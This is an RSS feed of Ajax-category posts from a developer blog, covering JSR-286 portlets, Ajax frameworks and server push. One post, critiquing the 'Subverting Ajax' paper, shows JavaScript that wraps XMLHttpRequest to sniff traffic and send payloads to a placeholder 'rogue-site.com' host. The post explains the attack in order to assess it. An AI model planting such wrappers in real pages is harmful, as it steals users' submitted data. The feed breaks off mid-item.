<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>subbu.org &#187; Ajax</title>
	<atom:link href="http://www.subbu.org/blog/category/ajax/feed" rel="self" type="application/rss+xml" />
	<link>http://www.subbu.org</link>
	<description></description>
	<lastBuildDate>Sun, 05 Feb 2012 20:12:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Stop Using Ajax?</title>
		<link>http://www.subbu.org/blog/2008/04/stop-using-ajax</link>
		<comments>http://www.subbu.org/blog/2008/04/stop-using-ajax#comments</comments>
		<pubDate>Fri, 25 Apr 2008 20:16:44 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2008/04/stop-using-ajax/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2008%2F04%2Fstop-using-ajax"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2008%2F04%2Fstop-using-ajax&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Here is a <a href="http://dev.opera.com/articles/view/stop-using-ajax/">nice post</a> at <a href="http://dev.opera.com">dev.opera.com</a>. But I can&#8217;t completely agree with the statement that </p>
<blockquote><p>
the really good ideas in this evolution of the web are conceptual, not technological
</p></blockquote>
<p>That&#8217;s one side of the story. The other side is repeating the same ideas with better and more flexible technology.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2008/04/stop-using-ajax/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XMLPortletRequest Support in WebLogic Portal</title>
		<link>http://www.subbu.org/blog/2007/08/xmlportletrequest-support-in-weblogic-portal</link>
		<comments>http://www.subbu.org/blog/2007/08/xmlportletrequest-support-in-weblogic-portal#comments</comments>
		<pubDate>Thu, 30 Aug 2007 20:06:10 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2007/08/xmlportletrequest-support-in-weblogic-portal/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F08%2Fxmlportletrequest-support-in-weblogic-portal"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F08%2Fxmlportletrequest-support-in-weblogic-portal&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>At BEA, we recently released a patch for WebLogic Portal 10.0 to support the XMLPortletRequest interface as an alternative to using XMLHttpRequest with portlets. See <a href="http://dev2dev.bea.com/blog/sallamar/archive/2007/08/ajaxifying_port_1.html">Ajaxifying Portlets &#8211; Part 1: Unmanaged Ajax</a> and <a href="http://dev2dev.bea.com/blog/sallamar/archive/2007/08/ajaxifying_port_2.html">Ajaxifying Portlets &#8211; Part 2: Managed Ajax</a> for more info.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2007/08/xmlportletrequest-support-in-weblogic-portal/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Update on JSR-286 and Ajax</title>
		<link>http://www.subbu.org/blog/2007/08/update-on-jsr-286-and-ajax</link>
		<comments>http://www.subbu.org/blog/2007/08/update-on-jsr-286-and-ajax#comments</comments>
		<pubDate>Thu, 16 Aug 2007 14:57:20 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2007/08/update-on-jsr-286-and-ajax/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F08%2Fupdate-on-jsr-286-and-ajax"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F08%2Fupdate-on-jsr-286-and-ajax&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Early this year I have blogged about the problems related to portlets using Ajax to update their UI from the client side, and my attempts at addressing those. See <a href="http://www.subbu.org/weblogs/main/2007/01/xmlportletreque.html">here</a> and <a href="http://www.subbu.org/weblogs/main/2007/01/xmlportletreque_1.html">here</a>. As I mentioned in those posts, I also tried to make the model a part of the JSR-286 API. Here is an update of where things stand now.</p>
<p><span id="more-110"></span></p>
<p>As far as trying to introduce an end-to-end model into JSR-286, as you will find it in the <a href="http://jcp.org/en/jsr/detail?id=286">latest draft specification</a>, the expert group was unable to a come to a conclusion, for a number of reasons. As a result, the specification does not provide an end-to-end programming model for portlets using Ajax. This is disappointing.</p>
<p>To be specific, the goals of an end to end Ajax programming model for portlets were the following:</p>
<ul>
<li>Allow state-changing requests (e.g. via an action URL) initiated via a client API</li>
<li>Support state changes via <code>processAction</code></li>
<li>Provide first-class support for the new coordination models (i.e. events and shared/public render parameters) being introduced into JSR-286.</li>
<li>Provide a client API that is easy to migrate to, and can easily be plugged into various JavaScript frameworks.</li>
<li>Design the client API such that portals can consistently manage the UI and its state in the browser.</li>
</ul>
<p>These goals were important for a portlet API, as these allow portlets to drive requests from the client side via Ajax, and without sacrificing most of the features available to portlets on the server side programming model.</p>
<p>The expert group almost had a solution &#8211; a client side API called XMLPortletRequest, and a server side model via a new lifecycle method called <code>processFragment</code>. The expert group discussed these for a long time, and finally voted against the solution for a number of reasons. Some felt that the expert group is not qualified to design a solution. Some felt that they did not have the time to implement and test it before the specification was finalized, while others felt that the life cycle method <code>getResource</code> newly being introduced into JSR-286 is sufficient for at least a good number of use cases. Note that this is my understanding, and other members of the expert group may have other views &#8211; so please don&#8217;t consider this post as the expert group&#8217;s voice.</p>
<p>Where does it leave the specification? As far as the standard API is considered, there will be a partial solution in the form of a new lifecycle method called <code>serveResource</code>.</p>
<pre class="brush: java">
public void serveResource(ResourceRequest request, ResourceResponse response) {
// Generate some response
}
</pre>
<p>The semantics of this <em>idempotent</em> method are as follows:</p>
<ul>
<li>Portlet can receive  form parameters, uploads etc from the request, just like the way a servlet can do.</li>
<li>Portlet can write any kind of response. The response content type is open ended, just like the way a servlet can render any kind of content during its <code>service()</code> method.</li>
</ul>
<p>JSR-286 also introduces a new URL type <code>ResourceURL</code> that can be used to invoke the <code>serveResource</code> method of a portlet.</p>
<p>How is this lifecycle method relevant for Ajax? Since <code>serveResource</code> mimics the <code>service</code> method of the servlet API, portlets can use XMLHttpRequest with a <code>ResourceURL</code>, generate some textual or XML response, and process it in the browser. Here is an example:</p>
<pre name="code" class="javascript">
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
// Process the response
};
request.open('GET', &lt;portlet:resourceURL/&gt;, true);
request.send();
</pre>
<p>This is simple, and easy to implement.</p>
<p>But this lifecycle does not come without limitations. Since this is an idempotent operation, portlets can&#8217;t make changes to state maintained by the container (such as render parameters), or use features coordination mechanisms introduced in JSR-286.</p>
<p>In particular, JSR-286 introduces two forms of coordination mechanisms, viz., events, and public render parameters. Both these follow a publish-subscribe model. Portlets can fire events, and others can subscribe and receive those events.  Similarly, portlets can make some of their render parameters as public, and the container/portal will relay changes to those public parameters to other portlets that have marked the same parameters as public. The key goal of these features is to introduce some kind of dynamism into the UI, by letting portlets exchange events/data without being coupled to each other. However, portlets using <code>serveResource</code> can not take advantage of these facilities.</p>
<p>In my view, JSR-286 misses the bus yet again, unfortunately, forcing implementors to come up with proprietary solutions.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2007/08/update-on-jsr-286-and-ajax/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ajax Frameworks and Heterogeneous UI</title>
		<link>http://www.subbu.org/blog/2007/06/ajax-frameworks-and-heterogeneous-ui</link>
		<comments>http://www.subbu.org/blog/2007/06/ajax-frameworks-and-heterogeneous-ui#comments</comments>
		<pubDate>Mon, 25 Jun 2007 07:09:28 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2007/06/ajax-frameworks-and-heterogeneous-ui/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F06%2Fajax-frameworks-and-heterogeneous-ui"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F06%2Fajax-frameworks-and-heterogeneous-ui&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>One of the questions I hear often is which Ajax framework to choose for building ajax-enabled apps. One way to answer this question is by comparing and contrasting &#8211; see which framework offers what kind of features, and compare those among various frameworks. That is an easy approach. But I&#8217;m beginning to realize that this is not necessarily the best approach towards selecting a framework. I think a more important criterion is how well a given framework can deal with heterogeneity.</p>
<p><span id="more-103"></span></p>
<p>Yes, heterogeneity.  The same old problem that led to the realization of loose-coupling of services in the form of SOA.</p>
<p>The web as exists today is not homogeneous. There are sites and web apps built using a variety of web programming frameworks ranging from CGI/perl to PHP to JSP, ASP, JSF etc. In fact, there is almost no enterprise that has a homogeneous technology used to build all its web apps. It just is not possible for such homogeneity to exist in an enterprise. Even if all the apps are built using a suite from a given vendor or technology (like everything built on Microsoft&#8217;s suite or JEE from some vendor or something else), there are going to differences between the versions and products used, leading to a tech-soup of heterogeneity at the UI layer.</p>
<p>For someone trying to simplify the enterprise, homogeneity is great, and heterogeneity hurts. But years of watching the evolution of technologies in waves should make one realize that heterogeneity is here to stay. At the technical level, I find it more interesting to think in terms of heterogeneity &#8211; it is a much more challenging problem to integrate heterogeneous services than homogeneous services.</p>
<p>This is all fine at the service-level, but why care about the UI level? Increasingly, the browser is becoming a service client, and is able to fetch data/UI over HTTP from various services. Most modern apps are now being built this way. <a href="http://mail.yahoo.com">Yahoo Mail</a> is one great example, but there are several others following this pattern. I like this pattern since it shifts the UI composition from the server to the browser. Instead of putting UI snippets into a page on the server side, this pattern is based on the client fetching data/UI and continually updating the view as the user is interacting with the site. It also imposes some kind of formalization of interactions between the client and the server-side, and this is a key characteristic of ajax applications. You will see this kind of formalization in the REST/http web services offered by <a href="http://www.amazon.com/gp/browse.html?node=3435361">Amazon</a>, <a href="http://code.google.com/apis/">Google</a>, <a href="http://developer.yahoo.com/">Yahoo</a>, <a href="http://www.flickr.com/services/api/">Flickr</a> and others.</p>
<p>One of the requirements I place on Ajax frameworks is, therefore, an ability to work with any service providing data or UI on the server side. What does it mean for the Ajax framework? The framework should not impose restrictions on the kind of technology that I can use on the server side. There is another way to look at this. In SOA, yo don&#8217;t want the service telling the client the technology it must use to make use of the service. In a world where the browser is a universal data/UI client, the same principle applies to the technology used to build the client. It should be agnostic of the choices made on the server side. The only thing that should matter is the set of operations over HTTP to fetch/update UI and data.</p>
<p>This is one reason I prefer pure-client side Ajax frameworks, like <a href="http://www.dojotoolkit.org">Dojo</a>, over other frameworks that have server-side components. A pure client-side framework would let me write the client-side without depending on the decisions made on the server-side. For instance, most JSF-based Ajax frameworks require you to think in terms of JSF both on the server side and the browser-side. I&#8217;m yet to be convinced that this is a good approach. What concerns me is that, the JSF-frameworks that I have experienced with tend to generate the client side based on the decisions made at the JSF component level on the server side. This makes sense in a homogeneous world. But once you attempt to write a new app (a la mashup) integrating the JSF generated UI with something else, it will be easy to realize that the integration gets hard because most of these frameworks don&#8217;t tend to formalize the interactions (i.e. the protocol) between the client-side and server-side components leaving a fair-bit coupling between the client (the browser) and the server side code.</p>
<p>So, a good ajax framework is one that lets me maintain decoupling between the client-side code (HTML, JavaScript, DOM, events etc.) and the server-side code. A given framework may offer great help in blending Ajax with the web programming model, but if it does not address heterogeneity, it is not good enough in the long run.</p>
<p>(Cross posted at <a href="http://dev2dev.bea.com/blog/sallamar/archive/2007/06/ajax_frameworks.html">http://dev2dev.bea.com/blog/sallamar/archive/2007/06/ajax_frameworks.html</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2007/06/ajax-frameworks-and-heterogeneous-ui/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hyped up Subverting Ajax</title>
		<link>http://www.subbu.org/blog/2007/01/hyped-up-subverting-ajax</link>
		<comments>http://www.subbu.org/blog/2007/01/hyped-up-subverting-ajax#comments</comments>
		<pubDate>Sun, 07 Jan 2007 10:01:51 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[XMLHttpRequest]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2007/01/hyped-up-subverting-ajax/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F01%2Fhyped-up-subverting-ajax"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F01%2Fhyped-up-subverting-ajax&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>There is a paper titled <a href="http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf">Subverting Ajax</a> (PDF), by Stefano Di Paola and Giorgio Fedon circulating the web over the weekend. This paper claims that, by using XMLHttpRequest, an attacker could &ldquo;inject client side code to toally subvert the communication flow between the client and the server&rdquo;. This paper also talks how some previously known attacks like cache poisoning, frame injection etc. See below for a quick demo of what the authors of this paper are talking about. The demo makes me conclude that the so-called subversion is hyped up, and does not actually pose a new security threat.</p>
<p><span id="more-89"></span></p>
<p>The security issue with XMLHttpRequest that this paper talks about is based on the JavaScript prototypes. This paper shows how a script author could sniff the communication between the browser and the server by wrapping the XMLHttpRequest with a prototype based wrapper. Here is a sample implementation of this so-called attack.</p>
<pre name="code" class="javascript">
var orig;
if (window.XMLHttpRequest) {
orig = new XMLHttpRequest();
}
else if (window.ActiveXObject) {
try {
orig = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e) {
try {
orig = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
alert("Could not create httpRequest");
}
}
}

XMLHttpRequest = function()
{
this.xml = orig;
return this;
}
XMLHttpRequest.prototype.send = function(payload)
{
alert("Sniffing payload: " + payload);
return orig.send(payload);
}

XMLHttpRequest.prototype.open = function(method, url, async)
{
alert("Sniffing: " + url);
orig.open(method, url, async);
}

function send()
{
var myreq = new XMLHttpRequest();
myreq.onreadystatechange = function()
{
if (myreq.readyState == 4 &#038;&#038; myreq.status == 200) {
alert(myreq.responseText);
}
}

var url = "/get/my/secrets";
myreq.open("GET", url, false);
}
</pre>
<p>You can also try this online <a href="http://www.subbu.org/demos/xhr-wrapper-sniff/sniff.html">here</a>.</p>
<p>The key point is that the <tt>send()</tt> function thinks that it is using the native XMLHttpRequest, but is in fact using a wrapped XMLHttpRequest. The wrapped function can see the traffic. It can, for instance, make a request to an external site with the data being transmitted. </p>
<pre name="code" class="javascript">
XMLHttpRequest.prototype.send = function(payload)
{
var url = "http://rogue-site.com/sniff?data=" + payload;
var script = document.createElement("script");
script.setAttribute("src", url);
script.setAttribute("type", "text/javascript");
head.appendChild(script);
return orig.send(payload);
}
</pre>
<p>That is a vulnerability &#8211; the authors of this paper claim.</p>
<p>It is important to realize that this is a vulnerability only after the attacker is able to inject code into a web page to replace XMLHttpRequest with a wrapped object. This paper talks about a banking example, where an attacker could inject this script, <em>wait</em> for a bank transfer to occur, and then steal the details of the transfer. It is true that once the code injection has happened, there are a number of ways using which an attacker could steal information, even without using XMLHttpRequest.</p>
<p>Assuming that the attacker is able to break into the banking site, he/she could inject an <tt>onSubmit()</tt> function into each page of the same banking site, and use that method to send submitted data to a rogue site. How is this different from the author&#8217;s claim about XMLHttpRequest being vulnerable? The authors don&#8217;t discuss or explain. This makes me conclude that the authors&#8217; claims are hyped up. </p>
<p>The cache-poisoning attack that the authors of this paper claim is well-known. See, for example, the security report <a href="http://www.securiteam.com/securityreviews/5OP0M15IKO.html">Browser Cache Poisoning using IE and Caching Servers</a> which talks about the same technique mentioned in Section V of this paper. The technique is based on injecting raw HTTP headers into URLs. Vulnerabilities like this exist due to implementation bugs in browsers and other HTTP applications.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2007/01/hyped-up-subverting-ajax/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JavaScript vs Java</title>
		<link>http://www.subbu.org/blog/2006/11/javascript-vs-java</link>
		<comments>http://www.subbu.org/blog/2006/11/javascript-vs-java#comments</comments>
		<pubDate>Thu, 23 Nov 2006 16:57:11 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2006/11/javascript-vs-java/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F11%2Fjavascript-vs-java"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F11%2Fjavascript-vs-java&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Carlos Perez wrote a very interesting piece asking <a href="http://www.manageability.org/blog/stuff/benefits-of-javascript">What did JavaScript have that Java did not?</a> The question initially seemed obvious, but he makes some good points about JavaScript and dynamically typed languages.</p>
<p><span id="more-81"></span></p>
<p>His first point was that proponents of Java-in-browser made no real effort in integrating Java with the browser &#8211; whether it is interacting with HTML, or the DOM, or the client-server interactions.</p>
<div class="note">
<p>The problem appears to be that the surface area for interaction with the HTML page was too small. In hindsight, the task to develop richer and more convenient interactions with the underlying HTML page structure was never undertaken with any real seriousness.</p>
</div>
<p>The end result is that Java remained one of the last choices for programming on the browser side, and we all gave up Java in the browser.</p>
<p>On the other hand, it is easy to write off JavaScript as an inferior language given its lack of modularity, packaging, and abstraction. But you can not beat JavaScript when it comes its integration into the browser. Server side frameworks can try to hide some of the complexity of JavaScript behind a facade of Java, as is being done by frameworks like GWT and ICEFaces. Then again, they can only solve the some common use cases, and start leaking when it comes to more complex tasks in the browser. So, my philosophy is &#8211; <a href="http://www.subbu.org/weblogs/main/2006/11/dont_know_javas.html">don&#8217;t hate/hide JavaScript &#8211; embrace it</a>. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2006/11/javascript-vs-java/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Don&#8217;t Know JavaScript?</title>
		<link>http://www.subbu.org/blog/2006/11/dont-know-javascript</link>
		<comments>http://www.subbu.org/blog/2006/11/dont-know-javascript#comments</comments>
		<pubDate>Wed, 22 Nov 2006 11:46:09 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[HTTP]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2006/11/dont-know-javascript/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F11%2Fdont-know-javascript"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F11%2Fdont-know-javascript&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>If you one of those developers that don&#8217;t care much about JavaScript, CSS and the like, and do write code related to the web, you are going to disagree with what I am about to say in this post.</p>
<p><span id="more-80"></span></p>
<p>If you claim to be developing anything related to the web, and fall into this category, all I can say is this &#8211; please move on, please find something else  to do. You may not know yet, or may not be ready to admit (yet) &#8211; but you are most likely to make some bad choices in your designs.</p>
<p>Well &#8211; I know that this is an extreme position. Despite the fact that Ajax has become a big deal over the last two years, and that browsers have gotten better at supporting JavaScript, CSS and other web standards,  there is still a large number of web developers who think that they can solve all their web development problems completely on the server side. Sorry folks &#8211; I disagree. If you don&#8217;t know both sides of the picture, you are going to come up with awful solutions.</p>
<p>If you are one of those that hate JavaScript, here is my take. If you know JavaScript but hate it because of the way the language is designed or is implemented in browsers, all I can say is that you may be right, and that you may have earned the right to have an opinion. On the other hand, if you don&#8217;t know how to write JavaScript, and keep saying that you hate JavaScript, I am tempted to say that you are probably in denial mode, and hiding your ignorance behind a &quot;I hate JavaScript&quot; statement.</p>
<p>To be truthful, my stance is not solely against the JavaScript ignorance/hatred. I&#8217;m against the elitist attitude that somehow it is okay to design web frameworks and apps without understanding client-side techniques. It is fairly easy to detect this attitude. When faced with some client-side issues, these folks can not help talk about how much they hate JavaScript and how they are being forced to deal with some ugly problem that they would prefer to let some junior developer deal with. Huh. </p>
<p>So, my appeal to web framework experts &#8211; please learn to write JavaScript, CSS, etc, or just move on.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2006/11/dont-know-javascript/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Server Side DOM Events vs XMLHttpRequest&#8217;s onload</title>
		<link>http://www.subbu.org/blog/2006/09/server-side-dom-events-vs-xmlhttprequests-onload</link>
		<comments>http://www.subbu.org/blog/2006/09/server-side-dom-events-vs-xmlhttprequests-onload#comments</comments>
		<pubDate>Mon, 04 Sep 2006 19:04:02 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[XMLHttpRequest]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2006/09/server-side-dom-events-vs-xmlhttprequests-onload/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F09%2Fserver-side-dom-events-vs-xmlhttprequests-onload"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F09%2Fserver-side-dom-events-vs-xmlhttprequests-onload&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Last week, Opera posted a <a title="Event Streaming to Web Browsers" href="http://my.opera.com/WebApplications/blog/show.dml/438711">blog entry</a> describing a different style of doing server push. The technique described is based on <a href="http://whatwg.org/specs/web-apps/current-work/#scs-server-sent">server side DOM events</a> as currently proposed in the <a href="http://whatwg.org/">WHATWG</a> Web Applications 1.0 specification. Also check out the <a href="http://oxzone.opera.com:8088/talk/tester">demo</a>, which is based on an early and partial implementation of server side events in Opera 9.x. The approach described can be used to send events over long-running connections to the browser, and in someways resembles the <a href="http://www.xulplanet.com/tutorials/mozsdk/serverpush.php">onload event handler</a> of the XMLHttpRequest as implemented in Firefox. But there are some key differences between these approaches.</p>
<p><span id="more-78"></span></p>
<h3>XMLHttpRequest&#8217;s onload (Firefox)</h3>
<p>As I described in <a href="http://www.subbu.org/weblogs/main/2006/04/dissecting_ajax_1.html">Dissecting Ajax Server Push</a>, Firefox&#8217;s approach is based on an onload event handler registered for XMLHttpRequest. </p>
<p>On the client side, you would create an XMLHttpRequest, and register an onload event handler.</p>
<pre name="code" class="javascript">
XMLHttpRequest request = new XMLHttpRequest();
request.multipart = true;
request.onload = function(e)
{
// ...
};
request.open('GET', url, true);
request.send(null);
</pre>
<p>In response to this request, the server is required to send back response of content-type multipart/x-mixed-replace, and send data in multiple parts. Whenever a part is received, the browser would call the onload function with the part received.</p>
<p>However the downside of this approach is that keeping the connection open from the browser-end. You need to come up with some non-trivial steps to detect dropped connections, and reopen the XMLHttpRequest to continue to receive data from the server side.</p>
<h3>Server-side DOM Events (Opera 9.x, and Web Applications 1.0 draft)</h3>
<p>Server side DOM events can be used to solve the same use case differently. Instead of creating an XMLHttpRequest, you would simply add an event-source element in your HTML, </p>
<pre name="code" class="html">
<event-source src="uri" id="eventSourceId"/>
</pre>
<p>and then associate event handlers with it.</p>
<pre name="code" class="javascript">
document.getElementById("eventSourceId")..addEventListener("someEventNamt", myFunc, false);
function myFunc(event)
{
alert(event.data);
}
</pre>
<p>The event-source element is automatically processed by the browser. It would open a connection to the specified source URI, and calls the event handler function whenever it receives an event with the name specified while registering the listener.</p>
<p>The resource specified at the URI is supposed to return an event stream with content-type application/x-dom-event-stream. The response could contain a series of events (each with a name and payload). </p>
<h3>Differences</h3>
<p>Both approaches let the server send chunks of data over a possibly long-running connection, and let the client process each chunk of data as it arrives. But the similarities end here.</p>
<ul>
<li><strong>Connection management:</strong> What I liked most about server-side DOM events is the simplicity. In stead of forcing the script take the responsibility of making sure that the connection is open, with the event source approach, the browser will be responsible for reopening the connection whenever it is dropped (of course, based on some browser policy &#8211; such as waiting for a few seconds before attempting to reopen, or not attempting to reopen based on error conditions, etc). On the other hand, with XMLHttpRequest, the script developer has to deal with these conditions. IMO, this is the single biggest drawback of XMLHttpRequest&#8217;s onload handler.</li>
<li><strong>Data vs Events:</strong> With XMLHttpRequest, the response is just data carried as a part of a multipart response. The format of the response is opaque as far as the browser is concerned. With server side DOM events, the server would be returing events which get raised by the browser and can be handled just like regular DOM events. This opens the door for the server side to return regular browser events. The current draft of <a href="http://whatwg.org/specs/web-apps/current-work">Web Applications 1.0</a> does include an event class field that could be set on each event, and this field can be mapped to browser side event interfaces including UI related and input events (such as keyboard events). Although the draft is not very clear on how such events would be processed by browsers, the current proposal could be used to couple server side code with browser side events. This seems awkward to me.</li>
<li><strong>Sending Requests:</strong> With XMLHttpRequest, you could use different verbs (GET, POST etc.) and fetch a multipart response via the onload handler. With server side DOM events, the event-source would (presumably &#8211; the draft is unclear) send a GET request to fetch events, in essence limiting the event-source to idempotent requests. Also note that the event-source is not tied to HTML controls like forms. So, if you want to fetch events based on user input, you need to  create a URI encoding the user input (e.g. as a query string), and dynamically add the event-source element with the URI.</li>
</li>
</ul>
<p>In any case, both approaches are on the bleeding edge, and are not cross-browser compatible &#8211; it would in fact be premature to expect such compatibility soon. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2006/09/server-side-dom-events-vs-xmlhttprequests-onload/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>JAX-WS for RESTful Web Services?</title>
		<link>http://www.subbu.org/blog/2006/08/jax-ws-for-restful-web-services</link>
		<comments>http://www.subbu.org/blog/2006/08/jax-ws-for-restful-web-services#comments</comments>
		<pubDate>Thu, 31 Aug 2006 09:04:37 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[JAX-WS]]></category>
		<category><![CDATA[REST]]></category>
		<category><![CDATA[Web Services]]></category>
		<category><![CDATA[J2EE]]></category>
		<category><![CDATA[JSON]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2006/08/jax-ws-for-restful-web-services/</guid>
		<description><![CDATA[This post is in response to Sameer Tyagi&#8216;s article on using JAX-WS for RESTful web services posted at the Sun Developer Network. I find a few points stated in this article troubling if not inaccurate &#8211; (a) it presents REST in a limited scope thereby showing SOAP in better light, and (b) it misses some [...]]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F08%2Fjax-ws-for-restful-web-services"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F08%2Fjax-ws-for-restful-web-services&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
